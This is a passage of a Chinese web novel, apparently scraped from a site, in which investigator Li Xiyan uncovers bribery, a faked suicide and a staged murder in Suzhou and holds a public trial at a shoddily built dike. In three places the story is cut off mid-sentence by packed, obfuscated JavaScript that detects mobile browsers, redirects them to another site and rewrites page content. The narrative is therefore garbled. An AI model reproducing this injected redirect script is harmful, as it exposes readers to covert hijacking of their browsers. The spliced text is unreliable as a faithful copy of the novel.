应该就是那个“盈盈”。 “婢子见过李少使。” 李希言径直坐下。 “听卫川说,你找本官有事?” “是……”盈盈拿帕子按了按眼角,眼泪又滴了下来,“婢子做了天大的错事,要向李少使自首……” “你帕子上涂的什么?” 盈盈欲泫欲泣的表情一僵。 “那些东西对眼睛不好,没必要装。” 对方的眼里并没有不耐烦,盈盈也不再伪装,连口齿都变得伶俐了起来。 “婢子是苟县令府上的婢女,名为盈盈。七月十六那日,县令单独找奴婢过去,让奴婢在第二日的晚宴后,缠住肖郎中,污蔑肖郎中调戏自己。” “苟维是个县令,你空口白牙,可有证据?” “有!”盈盈勾唇一笑,“婢女那晚根本就没有抓伤肖郎中。” “具体情况如何?” “那晚肖郎中喝了酒被县令搀扶到了客院休息。等县令离开的时候,婢子借机进了房间,没想到那肖郎中警醒得很,竟然一溜烟儿跑了。婢子没有办法,只能自己抓了自己几道痕迹,谎称是肖郎中所为。” 盈盈伸出一条胳膊。 胳膊上还残存着浅浅的疤痕。 “婢子知道,自己挠的和别人挠的痕迹可不一样……故意留了个心眼儿,婢子身上的伤还未完全褪去,但是一验就知道是自己弄的。” 李希言挑了挑眉,不由地重新打量了这个女子一眼。 她还真有些意外。 这个盈盈还真是精明。 “你还记得肖平那晚往什么方向跑了吗?” “不知道,我一直在府里。但是守门的肯定知道。” 李希言心里一直有一个猜测,但是却没有证据…… “李少使?”盈盈试探道,“婢子还知道其他的事情呢。” “哦?什么事?” “苟县令他家的亲戚可靠着他赚了不少钱。就说这次修河堤吧,是他远房叔叔包揽了大半,还有整个苏州的茶引他娘的表哥就占了六成……盐铁酒茶每一行都是他的亲戚。” “本官知道了。”李希言生出恻隐之心,坦然地看着她,“你之后有什么打算?” “打算?” 气氛一点一点沉了下去。 聪明如盈盈怎么会不明白发生了什么。 但是,她也没什么好伤心的。 “李少使会补偿我?” “国公府不是好地方,卫川……”李希言忍了忍,“是个冷情的人。” 虽然这样说自己的手下不太好,但这是一句实话。 盈盈笑得眯起了眼睛。 “我想要钱想要自由。” “都可以,案子审结后,我会安排你去安全的地方以一个新身份生活,并且给你五百两白银安家。” “真的?!”盈盈惊喜地睁大了一双美目。 她没想到这个李少使出手会这样阔绰。 有了钱还能得到良籍…… 她才不稀罕去伺候男人,看别人脸色活着呢! “真的。” “那我还有个要求。” “什么要求?” 盈盈眨了眨眼,狡黠一笑:“我不想看见那个坏蛋。” “好。”李希言心里开始盘算。 把卫川扔去看着瑞王就很合适…… 站在门外的卫川丝毫不知,自己未来几日会过得多么煎熬。 杨府,五更天。 紧闭的房门内传来窸窸窣窣的声音,看似关闭的门锁虚虚挂在门上。 苗青苦着脸:“少使,您为什么一定要大晚上跑来找东西……这多不好啊。” “这些东西都有翻动的痕迹。” “所以?” “说明薛夫人藏了什么东西,这很可能和她的死有关。” “不会是管事吧?” “不是。”李希言打开刚刚搜过的衣橱,“我刚刚翻之前,衣橱里的衣裳和梳妆台上的胭脂水粉首饰都是被归回原位的,只有一点点偏差。翻东西的人应该是很了解卧房内物品的放置。” “杨……” “也有可能是她的婢女,不能确定。” 李希言说完继续翻找。 苗青摸完窗帘:“少使,找遍了啊……什么都没有啊。” 李希言正趴在地上摸床底下。 然而,除了一手的灰什么都没有摸着。 她站起身,深呼吸,环顾四周。 薛夫人实在简朴,衣裳首饰都很少。 床底,房梁都没有。 若是找东西的人是他…… 那有个地方他一定不会碰! 李希言灵光一现,再次打开了衣橱,在小衣下翻出了一叠白色的布条。 她揉了揉,布里面果然有纸张的声音! 苗青也听见了,立即探头来看。 等看清后,他脸色微红。 “这不是女子用的骑马布吗?” 李希言从摸出随身的匕首将骑马布划开。 一张写满了字的纸一下飘了出来。 苗青伸手接住。 “这是什么?”他念出来,“尚书省都事何其芳,一千两。户部仓部司郎中刘松清,两千两。户部度司支郎中范宾两千两……” 李希言听得直皱眉,念到最后直接拿过来自己看。 “真是厉害,越往后官职越大。” “这应该是杨利贞他们行贿的名单。” 李希言将名单揣好,大摇大摆打开了门…… 苗青跟在后面,顺手锁门。 “少使……我们不需要悄悄离开吗!” “不用,还要见人呢。” “见谁?” 李希言没有回答,慢悠悠走到府墙边,翻了出去。 天色已经有些亮。 杨府的大门被敲响。 管事心中一紧,上前将门打开。 “李少使?” 他奇怪地看着眼前一反常态,嘴角噙着笑意的女官。 这是…… 李希言颔首:“打扰了。实在是有紧要的事情,才这么早登门。” “是和夫人的事情有关?” “杀害薛夫人和孩子的凶手已经抓到。” 管事脸上先是一喜,旋即很快浮上愁容。 “和莲姨娘有关?” “她是被人利用,并不知情。本官要见杨长史一面。” 管事小心翼翼地说道:“阿郎尚在病中,莲姨娘的事情……” “本官明白。”李希言收起了笑意,“带路吧。” “是。” “阿郎?阿郎?“管事轻轻叩了两下门。 房内传来有气无力的回应。 “什么事。” 管事的声音带着浓重的哭腔。 “李少使来了,她说杀害夫人和小主子们的凶手已经捉到了!” “进……快……快请进!”杨利贞急得直喘。 “李少使,您请。”管事推开门,侧着身子。 鼻尖萦绕的药味带着腐朽潮湿的气息,令人恶心。 李希言屏住呼吸,缓步走进。 里屋很是昏暗,要眯起眼睛才能看清。 杨利贞半坐在床上,朝着李希言向前探身。 “凶手是谁?” 李希言就站在离他三步远的地方,眼眸微垂。 “你还记得于氏吗?” “于氏?”杨利贞一脸错愕,乱糟糟的胡子抖了抖,“是……谁?” “年初,你断过一起和奸案,在用刑过程中让人打死了于氏。于氏的哥哥为了给自己的妹妹报仇,就杀了你的夫人和孩子。” 李希言的声音毫无起伏,却无端让人觉得哀伤。 “呃……”杨利贞一口气堵在胸口,憋得面色赤红,“咳咳……” “凶手已经伏法,杨长史可以安心矣。三日后,本官要在新修的堤坝处颁发陛下的赏赐。”李希言转过身向前走去,“请杨长史务必到场。” 午饭吃得有些油腻。 苟维坐在院子的摇椅上,喝着茶一晃一晃。 初秋的凉爽让人舒适。 “八月里来秋风儿凉……” 苟维咿咿呀呀哼着小曲儿,好不自在。 忽然,一股凉气沿着脊梁骨窜了上来。 好端端的,怎么还打寒战? “苟县令。”四平八稳的女声从背后传来,不带着任何情绪。 苟维浑身一抖,直接跌倒在地上。 “李……李少使?” 他不顾身上的疼痛,挣扎着站起来,行了一个礼:“下官见过李少使。” “不必多礼。”不请自来的李希言意料之外的客气。 不等苟维再问,她自顾自坐到了旁边的石凳上,还招呼着苟维来坐。 “坐吧。” 苟维心肝儿都在发颤,蹑手蹑脚走过去坐了下来。 李希言从怀里掏出一本账册,推到他面前。 “这是……”面前的账册崭新而陌生,苟维迷茫地看着她。 李希言似笑非笑地看着他。 苟维被她看得心里发毛,伸出手翻开一页。 泰平十五年…… 是去年茶税的账册! 就像是被火烫到一样,他飞快缩回了手。 这东西怎么会在她那里! 苟维满头冒汗,低着头掩饰着自己的表情。 “苟县令猜一猜,这东西是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997752|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪儿来的?”李希言嘴角翘起,眼里没有一丝笑意。 “这……茶税的账册该是在刺史那里。” “没错,这东西确实是我从宋刺史那里得来的。” 不对…… 苟维心中一沉,表情也变得可怖起来。 “你肯定在想本官是从哪里拿到的这本账册,明明宋刺史不在此处。” 被点破心思,苟维恍惚地抬起头,和她对视。 一双很冷的眼,眉头的红痣像是用血点上去一般。 “这就要说到所谓的城隍杀人。” 秋风瑟瑟,让苟维忍不住紧了紧衣袍。 “薛夫人和那四个孩子是在杨利贞的书房被杀的,而本官手下的关校尉在书房发现了一个疑点。” 苟维的目光不由地投向了桌上的账册。 李希言挑了挑眉,修长而有力的手指在账册上点了点。 “杨利贞的书房里放着苏州近几年的茶税账册,却独独少了这一本。你说,那个于大杀人就杀人,他一个平头百姓拿走这个做什么?” “下官不知。”苟维死咬着不认。 “不急。等你知道本官从哪里得来这东西之后再回答这个问题不迟。”李希言缓缓道,“你知道的,这东西也就两份,一份平日在你们那里,后来杨利贞拿去说是要对账就拿走了,另外一份在宋刺史那里。” “宋刺史回了苏州?”苟维变了脸色。 李希言摇了摇头。 “宋刺史去外地那么长的时间,自然会安排好一切。陆御史作为按察使,是最合适帮他保管物品的人选。” 话已经说完,李希言老神在在地摆弄着桌上的茶盏。 而苟维却陷入了沉默。 “是陆御史……”他的声音有些嘶哑,“是陆御史把账册给你的?” 李希言没有回答他,只是笑。 “呵……”苟维叹了一口气,“李少使说这些是想做什么?” “盈盈。”李希言笑容尽敛,眼神淡漠却死死锁定了他。 “卫川……”苟维惨然一笑,眼中尽是了然,“李少使好手段。” “苟县令。你,是个聪明人吧?应该分得清楚主犯和从犯的区别。” 苟维却忽然一笑。 “我凭什么认?少一本账册罢了,贪墨银两是死不了的。” “话是如此说,可是……若是王家那位老夫人知道自己珍爱的外孙女被你所杀……” 他会死! 对死亡的恐惧让苟维愤然起身,朝着李希言吼道:“不是我!我和于大根本就不认识!怎么能只因为一本账册就定我的罪!” “这话你留着说给王老夫人听吧,只是不知道她老人家有没有那样的闲情逸致听你的辩白?本官只是好心提醒你罢了。别动气啊,苟县令。” 苟维气得浑身发抖,目光像是要杀人一般。 李希言淡淡扫了他一眼。 “别这样看着本官。你自己想一想,是谁清楚薛夫人对王老夫人的意义?是谁拿走了这本账册?又是谁把账册交到了我的手里?” 苟维越想越觉得不对,逐渐冷静了下来。 于大……莲姨娘…… “是他!” “不仅仅只是他。还有那个蛊惑你灭口于大和莲姨娘的那个人。” 糟了! 苟维转身欲走,却被李希言一把抓住。 “本官的人一直在你的监牢中。” 于大和莲姨娘是她必须保住的人。 苟维这才放下心来,大口大口吸着气。 于大一死,他才是真的百口莫辩。 “李少使,您,到底要什么?” “两个问题。第一,杨家惨案和你到底有没有关系?第二,肖平,他的尸体到底在哪里?你在这件事情中到底出了哪些力?” 听完这话,苟维乍然变色。 她竟然知道尸体不是肖平了! “杨家惨案与我无关,我只听吩咐将事情推在于大头上。肖平之死我也只负责指使盈盈构陷他,提供了一个囚犯用来伪装肖平。其余的,我真的不知。” “那晚肖平出去后去哪个方向了?” “东边,他一去不回,我的人都没有找到他的踪迹。是陆方明当晚回来告诉我必须拉个人出来顶替。我就选了个和肖平体格外貌相似的死囚犯,抓花了他的脸,让他扮做肖平自缢。” “那个死囚犯这么听你的话?” “他要死了,但是他的父母妻儿还要活着。我承诺给他家里银子,他就答应了。” “肖平的事情你说清了,可是薛夫人的事……” “下官有办法!”苟维双目精光四射,“下官能让人自投罗网……” “三日之内我就要结果。” 苟维自信一笑:“只是需要李少使配合。” 49. 堤坝公审 还未竣工的堤坝灰扑扑,尘土飞扬,其上站满了人。 有本在此做事的力工们,还有不少来看热闹的普通百姓。 容朗和李希言并肩而行,身后跟着浩浩荡荡的一群绣衣使,其后还带着十几抬箱子。 以陆方明为首的官员立即行礼。 容朗维持着平日里人前那副矜贵样子,温和却透着疏离。 “都免礼吧。” “谢王爷。” 陆方明整了整衣袍迎上前,一脸惊喜。 “李少使,陛下赏了这么多东西?” 话里带着试探。 李希言瞟了一眼那些箱子,语气如常。 “陛下吩咐若是堤坝之事办得好,让下官自己置办赏赐。数量都是按照陛下的旨意来的,其中不少并不值钱,只是实用,是给修河堤的力工们。” 陆方明拱了拱手:“陛下仁德。” “人呢?”李希言眼睛一扫。 堤坝上站着不少官员,绿的青的,却唯独缺了一人。 “怎么不见杨长史?” 陆方明怔了一下。 “或许是大病未愈?那样的事情……换谁也扛不住啊!” “案子已经告破,凶手也已经伏法,杨长史再如何也有来一趟的力气吧?”李希言勾起嘴角,“还是杨长史不愿意来?” 陆方明一脸恍然:“不是说……” “凶手只是于大,他因为其妹犯了和奸之罪被杨长史打死而心生报复,才杀害了莲姨娘和孩子。不关乎其他。” 陆方明长叹一口气,“下官明白了,与他人无关也好。” 李希言的视线在他脸上停留片刻,忽然说道:“来个人去请杨长史过来。” 被她喊到的官员面面相觑,都不知该怎么办。 “这样吧。” 一直站在一边的容朗突然出声。 “让张锦去。” “奴婢遵命。” 张锦没有丝毫犹豫,领完命就带了两个绣衣使扭头离开。 陆方明低下头,掩饰着自己微变的脸色。 这个张锦是一直侍奉先太后,又将当今圣上一手带大的人。 在当年登基那一场风波中,更是有救驾之功。 别说杨利贞,就是皇帝也要给他三分薄面。 容朗提议道:“这一下恐怕得等上许久。陆御史,不如让各位先坐下?” 陆方明勉强一笑:“王爷宽和。”他转身指挥,“来人,去搬些椅子过来。” 椅子搬过来,二人率先坐下,其余官员才敢入座。 屁股一沾到凳子,心里都安定了些。 然而,李希言却不给陆方明喘息的机会。 “陆御史。这堤坝建造的事情是由谁督办的?” “主要是杨长史和苟县令。” “苟县令何在?” 苟维起身出列:“下官在。” 李希言抬手指向站在下方的商人们。 “这几个人怎么瞧着和你长得有些仿佛?” “他们都是下官的亲戚。” 一句话顿时引爆了现场。 虽然大部分人都知道这苟维利用职权将堤坝的生意都包给了自家亲戚,但是怎么也没想到他敢就这样承认了。 这是发什么疯? 苟维低着头,一动不动,仿佛他刚刚说的是什么不重要的事情。 而一旁的陆方明就没有这样淡定了。 这厮是要做什么! 他没有搭腔,悄悄观察着李希言的面色。 没想到,李希言竟像是感知到一般,看了过来。 眼神里带着玩味。 陆方明猛的觉得自己像是被猫逗弄着的一只老鼠。 一直被无形的牢笼困住。 “陆御史,你有何看法?” 怔愣不过一瞬间,陆方明很快恢复了往常的淡然。 “我当时一一查过,这些商人和相关办事官员并无亲属关系。” 李希言像是随意一指,指出三个人。 “他们和苟县令不沾亲带故?” 那三人本就惧怕李希言在外的“名声”,此时早已吓得说不出话,只眼巴巴地拿眼神去瞅苟维。 苟维还是埋着头一动不动,仿佛事情从头至尾和他无关一般。 坐不住的人反而是陆方明。 他打量了三人一眼,一脸迷茫:“这三人是苟县令的亲戚?怎会……” 李希言看着他装模作样的样子,实在是有些恶心,打断了他的话。 “个头最高这个是他娘的表侄子,旁边这个是他姑父的儿子,这个嘛,是他父亲的表弟。这些人勾结在一起,在堤坝上可是做了不少文章。” 随着她话音落下,一队绣衣使出列,齐刷刷举刀砍向旁边用来封顶的石料。 刀一落下,看似坚固的石料瞬间碎成一片。 四周的百姓哗然。 “天哪!这石料这样不结实,等到雨季一来,水一冲不就垮了吗?” “不垮怎么再修,不再修怎么捞钱?” “这黑心肝的狗官!是一点儿都不顾我们的生路啊!” 刚刚经历了洪灾的苏州百姓,伤痛尚未褪去,又见此情此景怎会不怒。 “还有。”李希言站起身,沉声道,“方淳。” 力工组成的人群立时闪出一条路来。 方淳带着几个力工推着一车秸秆和泥巴走上前。 一个阔脸黑面的力工站定,抓起一把活着秸秆的泥巴用着苏州话朝着人群大声喊道:“乡亲们!我也是苏州人,我向大家发誓,这堤坝下面全是秸秆充的,该用的河泥也没有用,都是随便取的土。这样修出来的堤坝水一冲就垮了啊!根本抗不过明年的洪水!” 他应该是这些力工里的头头,其余力工也七嘴八舌地响应了起来。 人群更是乱糟糟地骂了起来,甚至出现了暴动的倾向。 容朗悄悄做了一个手势。 人群被悄无声息地围住。 关注着四周的李希言见能握住局势,坐了下来,朝着陆方明挑了挑眉。 “陆御史,您有何见解啊?” 陆方明故作震惊:“竟还有这样的关系!是我无能,没有查到这些。” 这话实则是在开脱。 李希言恍若未觉:“确实怪不得陆御史,这是关系确实不好查。就连本官也是意外从一个小娘子那里知晓这些隐秘的。” 她莫名其妙地提起其他人,陆方明有些反应不及,喃喃道:“小娘子?” “是啊,是个小娘子。”李希言抚掌,“来人,把这位立了功的小娘子请上来。” 什么小娘子? 陆方明被她今日一手弄得实在是摸不着头脑,表情都凝固了几分。 只见关风和带着盈盈走了过来。 盈盈拿着帕子按了按眼角,眼睛顿时红透,如同黄莺一般动听的声音发着颤。 “民女盈盈见过李少使。” 哄闹的人群安静了些许,每个人都被吸引了注意。 李希言招手让她站过来,语气少有的温和。 “这位小娘子是苟县令府上的人,因为看不过去苟维所做之事,检举揭发了苟维的这些勾当。” 陆方明方才还能维持住的表情瞬间一变,微微眯起的眼睛泄露出一丝凶狠。 “来,说一说,苟维都做了什么?” 盈盈一边哭着一边把苟维在河堤上动的手脚全盘托出。 “这苟维为了灭口,派人来杀我,要不是这位关校尉,嘤嘤嘤,我今日就会被害死……” 李希言面色有些奇怪。 “苟维,你可认罪?” 苟维这才抬起头,深深看了陆方明一眼又埋下头。 “下官,认罪。” 陆方明肩膀微微垮下,表情放松了不少。 “但是……”苟维走上前几步,抬起眼,朝着陆方明笑得咧开了嘴,“派人追杀此女的事情并非下官所为,而是……有人帮助下官。” “哦?你还有同犯?” 二人一唱一和的样子落在陆方明眼中,这让他措手不及。 这个贱人!明明是他求着自己帮他灭口此女! 他该怎么应对…… 苟维没有给他思考的时间,飞快地指证了他。 “正是陆御史——陆方明!” “你血口喷人!”陆方明下意识的反驳十分无力。 苟维第一次在他面前挺直了腰板。 “是与不是,把追杀此女的杀手带上来一问便知。” 不等陆方明反应,李希言立即接话:“带上来。” 陆方明哪里还不明白,这个苟维已经反水,现在正和这个李希言勾结起来算计他! 很快,钟力押着一个黑衣人上前。 他一把扯掉黑衣人的面罩,将一把断掉的剑扔在黑衣人脚边。 “站好,老实交代。” 那黑衣人已经面无人色,眼球都是浑浊发白的。 他跪在地上:“是,是陆方明,我的主子是陆方明。” 陆方明咬住发麻的舌尖。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009783|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 剧痛让他镇定了下来。 “毫无证据,空口白牙。” 李希言赞成道:“你说你是陆御史的人,可有证据?” “证据……证据……”黑衣人身体一软,趴在地上,语无伦次,“他是主子,是主子……” 李希言表情有些难看。 昨晚下手重了…… “咳咳!”她清了清嗓子,弯下腰,阴恻恻地说道,“你有没有什么信物?” 黑衣人向后缩了缩,颤抖的手艰难地从怀里摸出一枚令牌:“我是陆家的……陆家的……奴才。” 李希言这才松了一口气,转头冲着陆方明发问。 “陆御史。你对此可有何辩解啊?” 陆家是世家,家族特有的令牌根本不会被冒充。 陆方明浑身发凉,呆在原地。 “真是奇怪,陆御史为何要帮你灭口?”李希言转向苟维。 苟维看着失了平日里潇洒仪态的陆方明,十分愉快,语调都是上扬的。 “是因为他曾经指使下官胁迫此女参与了杀害钦差肖平之事。” 百姓再次哗然。 “不是吊死的吗!” 这一次,别说是不知内情的百姓,就连坐在一旁的官员们都表情各异,小心翼翼地交头接耳着。 李希言语气平淡:“哦?还有此事?” “他指使下官命令此女在七月十八那晚的夜宴上污蔑肖平奸污此女,肖平逃跑后,陆方明来找下官,让下官找个和肖平外貌相似的囚犯冒充肖平。下官找了个叫做张俊的死囚犯,以供养其父母妻儿为条件,让其冒充肖平。当晚,张俊抓花了自己的脸,穿上肖平的衣裳,捂着脸回了驿站,关上房门自己吊死了。” 苟维比平日里做事还积极。 “将尸体抬上来让张俊家人一认便知。” 李希言忍住讽刺他的冲动。 “带人上来吧。” 张俊的尸体虽然因为保存得还算好,能分辨出往日的模样,但是到底味道已经有些重。 在场的官员纷纷掏出帕子捂住口鼻。 陆方明麻木地站在一边,冷眼旁观,仿佛这些事情都与他无关似的。 张俊的父母年纪不小,但是头发也白了大半,一看见儿子的尸体就不管不顾扑了上来,嚎啕大哭。 过了片刻,李希言才提醒道:“认一认。” 张俊的母亲摸着尸体的左额发际线处。 那里藏着一个很浅很浅的疤痕,小小的,不仔细看根本看不清楚。 “孩子是娘身上掉下来的一块肉,我这个做娘的肯定不会认错人,他一定是我家俊儿!这是俊儿三岁的时候摔的,街坊四邻都知道!” 李希言见二人脸色不好,挥手让人带着他们下去。 现场陡然一静。 她的声音变得分外明晰。 “陆御史?” 陆方明仰起头:“无稽之谈,那肖平的尸体呢?” “你将他的尸体扔进河里了。”李希言语气很是确定,“是吧?是你,一边指使苟维构陷肖平,一边假意提醒肖平小心苟维,若是出事可以来堤坝这边找你。所以,肖平才会一见盈盈拔腿就跑。他一出县衙就往东边的堤坝跑,就是想要找你帮忙。没想到正中了你的计。你就在堤坝这里杀了肖平,将他抛尸河中,有转头去县衙让苟维帮你找替死鬼!” 絮絮的议论声让计划被完全猜中的陆方明心烦意乱。 心虚会用发怒来掩饰自己。 他一挥衣袖。 “揣测!这都是你的揣测!” “是不是揣测一查便知,七月十八那晚,正好有个力工瞧见了你……你作何解释?肖平一路疾行也有人撞见。” 陆方明不敢确定了。 虽然晚上的时候堤坝这边没有人,但是也保不齐会有人偶然撞见。 肖平那边更是…… 他深吸一口气,眼神又恢复了坚定。 “苟维他……” “陆御史。”李希言淡淡扫了他一眼,“你别急,还有事情等着你辩解呢,你且先把此事放一放。瞧……” 她视线投向不远处。 张锦和几个绣衣使夹着杨利贞走了过来。 地上的黑衣人还在蠕动。 陆方明脸上瞬间失去所有血色。 不会……肯定不会! 他这样对着自己说着,又扯出一个笑。 “李少使,这是何意?” “没什么意思。”李希言提高了音量,“只是想把城隍杀人的事情说个清楚。” 50. 十万火急 苏州人本就极其崇敬城隍,前段时间城隍杀人的事情更是传的沸沸扬扬。 一听见这话,所有人都炸开了锅。 被半架着来的杨利贞顿住了脚步,本就惨白的脸色更是难看。 李希言朝着他望去。 “杨长史是走不动了吗?”她使了个眼色给他身边的绣衣使。 几个绣衣使不等杨利贞反应,直接把他一左一右架住,以一种近乎押运犯人的动作将他带到了李希言的跟前。 旁观的官员心中有些不满。 怎么能如此对待朝廷命官? 可是看着李希言那张看似暗含杀气的脸,所有人都默契地选择了沉默。 明晃晃的羞辱让杨利贞的双颊泛上病态的红晕,他使劲挣脱开束缚,泛着血丝的双眼几乎要凸出来。 “放肆!本官是正六品的长史!你们这些走狗鹰犬!还不快放开本官!” 他骂得欢,下面的官员却被吓得纷纷低头。 等他缓过气,李希言才开了口。 “上次这样骂绣衣司的人似乎是一群反贼?” 她的语气很是平静,仿佛不是在给对方扣天大的帽子似的。 发泄完怒气,恢复了理智。 杨利贞这才发现自己口无遮拦地说了什么。 他深深吸了一口气。 “本官不过是骂李少使的手下不懂规矩,哪里说到了绣衣司头上?” “哦~”李希言语含深意,“也是,杨长史向来和我们绣衣司关系亲近,怎会辱骂绣衣司呢。” 绣衣司和百官对立。 这话,杨利贞不敢应。 “李少使玩笑了。本官性子古怪,和谁都处不来,和绣衣司的诸位更是没有什么交道。” 李希言颇为赞成地点点头。 “杨长史性格确实古怪,不然怎么会和同僚结下血海深仇?” “什么?” “杀妻杀子不是血海深仇?” 杨利贞面色微变,僵硬地扯了扯嘴角。 “李少使果然出身道门,说话处处是玄机,让人参不破啊。” “没听懂?”李希言指着趴在地上的黑衣人,“此人受陆御史指派杀害了你的妻儿。” 杨利贞眼神闪烁。 “凶手不是于大吗?” 陆方明也开了口。 “李少使,别什么事都往本官身上推。” “此人的脚印和凶手留在现场的完全符合,所持的剑也与死者身上的伤口一致。” “凑巧罢了。”陆方明负手而立,“本官和薛夫人素不相识,与杨长史更是没有龃龉,指使手下杀他们做甚?李少使,说话要讲证据啊。” “这就要问杨长史了。”李希言面对他的讽刺,不为所动,“杨长史,你到底拿着陆御史什么把柄,让他非要做出这样一个局害得你断子绝孙?” 这话说得很是恶毒。 杨利贞气得胸口发疼,指着李希言:“你……” “八月十五那晚,于大悄悄去看望他妹妹留下的外甥,这一点已经查实。那孩子已有十岁,说的话可以作数。” 李希言摸出一张纸晃了晃,拍在桌面上。 “杨长史一直想找的东西,本官已经找到了。” 是那个名单! 杨利贞浑身一颤,不由伸出了手。 “哟!还想明抢?”容朗拿起名单。 杨利贞悻悻收回了手,紧紧捏住了袖子。 “本官没什么想要找的东西。” 李希言挑了挑眉:“难道你当时找陆御史求助不是因为找不到薛夫人偷偷抄下的名单吗?” 杨利贞心咚咚跳了两下。 她怎么会知道的如此清楚? 这事情只有…… 他不仅转头,看向了陆方明,眼中尽是猜忌。 难道此人已经出卖了他? 察觉到他的想法,陆方明闭上眼,眼皮颤了颤,努力克制着自己的怒气。 蠢货! 此时已经是半个死局,面对李希言这样心思深沉之人,他必须稳住,绝对不能再输! 李希言继续说道:“也是陆御史告诉你于大和莲姨娘早就勾搭成奸,而你的儿子也是莲姨娘和于大偷偷生的吧?” 名,是杨利贞毕生的追求。 同时,也是他的死穴。 只需要轻轻戳一下就能让他立即溃败。 同僚百姓,都听得清清楚楚。 他现在只觉得每个人都在嘲弄地看着他。 耳边也传来隐隐约约的私语。 “哎呦,这个杨长史竟然戴绿帽子……” “哈哈,绿毛龟……” …… “闭嘴!闭嘴!都闭嘴!”杨利贞忽然像是疯了一样一个人站在原地对着空气挥拳。 李希言拿起手边已经凉了的茶盏对着他的脸泼了过去。 冰凉的茶水泼得杨利贞满脸都是,连衣襟也被打湿。 他回过神,大口大口地哈着气。 李希言唤了他一声。 “杨长史。” 他抬起眼,盯着她。 “于大和莲姨娘是半年前才在一起的。本官查证过,你家小儿出生的时候,于大还在外地做活。孩子,是你的。” 杨利贞的双眼失去了焦距,空茫茫的,不知道在想什么。 过了许久,他才吐出一句话。 “孩子,本来就是我的。” 声音很小,像是在极力说服着自己。 “是吗?那你为何在砍了薛夫人三刀后还在你儿子身上砍了一刀?” “我没有。本官当时被贼人迷晕了。都知道的,是那贼人给本官下了药。看刀痕就知道,凶手不会是本官。苟县令查过,本官的剑和刀痕并不相符。” 容朗这才说道:“薛夫人和杨小郎身上那几处刀痕都是左利手造成的。” “本官是右利手!”杨利贞伸出右手,“诸位都知道的。” “是么……”容朗忽然起身,飞起一脚踢向杨利贞的要害。 电光火石之间,杨利贞竟然硬生生没挡,直接挨了这一下,整个人立即蜷缩了起来。 他忍着剧痛,勾起嘴角,得意地笑了。 然而,人的身体反应是无法掩饰的。 陆方明收回视线,叹了口气。 这颗棋子是废了。 “在笑什么?”容朗理了理衣裳,“先看看自己现在是用的哪只手捂住你的痛处,再慢慢笑吧。” 杨利贞一愣,缓缓低下头。 自己的左手正捂在自己刚刚被攻击的要害处。 容朗斜着身子,一脸坏笑地对着李希言说道:“这不白白挨了一脚?” 李希言压住上翘的嘴角,却掩饰不住微微弯起的眼睛。 “王爷劲儿有点大,把杨长史踢坏了如何是好?” “这已经不重要了吧?反正他都亲手把自己孩子全杀了。” 二人一唱一和,说得杨利贞胸口像是有一股气在翻腾。 “那个黑衣裳的。”李希言抬了抬下巴,“说一说,薛夫人和孩子的死到底是怎么回事。” 黑衣人撑起身体。 “正月十五晚上,子时,我从院墙翻进去,跳上窗户进入了书房二楼。薛夫人和四个孩子已经躺在地上昏迷不醒。杨利贞拿着剑坐在一边说让我可以动手了。为保万全,我先在他们的喉咙上割了一刀,然后又乱砍了很多刀。走的时候,杨利贞忽然叫住我,让我把我的剑给他。他拿着我的剑,砍了薛夫人和那个小男孩儿几下。” “砍的哪个部位?” 黑衣人想了想才说道:“薛夫人左手臂和左边腹部,那孩子是腹部上正正挨了一下。” 容朗掏出验尸格目,看了一眼。 “对得上。” “贼人诬陷!贼人诬陷……”杨利贞鼓着气大喊。 李希言不耐烦地向后靠了靠。 “杨长史先解释一下,为何你要掩饰自己左利手的事实?为何书房当时是从里面锁住的?又为何薛夫人和孩子会晚上去了书房?薛夫人和孩子的鞋子并没有被拖拽的痕迹!他们是自己走去的书房的!” 杨利贞垂下眼,放在身侧的双手颤抖着。 “你以为你在此狡辩就能逃出生天吗?本官只需要给王老夫人修书一封……”李希言眯了眯眼,“你为了杀妻做出这么多弯弯绕,怕的不就是王老夫人吗?” 杨利贞打了个寒战。 李希言语气放缓了些。 “你自己想想,这事情本来不会发展到这个地步的,是谁……误导了你,利用了你。” 事已至此,杨利贞还是死咬着不松口。 李希言明白他只是碍于颜面罢了。 她站起身。 “来人。将陆方明,杨利贞,苟维锁拿。” “是!” 一群绣衣使一哄而上,不过片刻,三人就被捆得严严实实地带了下去。 四周的百姓目光聚集在李希言身上。 他们要的不多,只是想要一个结果,一个公道。 李希言站起,身姿如松,掷地有声。 “劣质堤坝马上拆除,之后由新任钦差进行重新建造。涉事人等全部锁拿下狱,依律处置。这些赏赐是陛下抚恤苏州百姓的,这次的事情……” 她弯下腰,朝着人群深深行了一礼。 “是朝廷的疏忽。” 苏州城内外沸腾如同过年一般。 身着黑衣的绣衣使们在无数扇朱门出入,抬出数抬金银珠宝。 围观的百姓看得是既生气又解气。 另外一边的刑场也很是热闹。 那些参与其中,罪行重大且已无价值的官员商贾直接被李希言下令推出去砍了脑袋。 一夜之间,就有五十四人人头落地。 百姓无不拍手称快。 而苏州官场就是另外一番景象了。 人人自危,风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 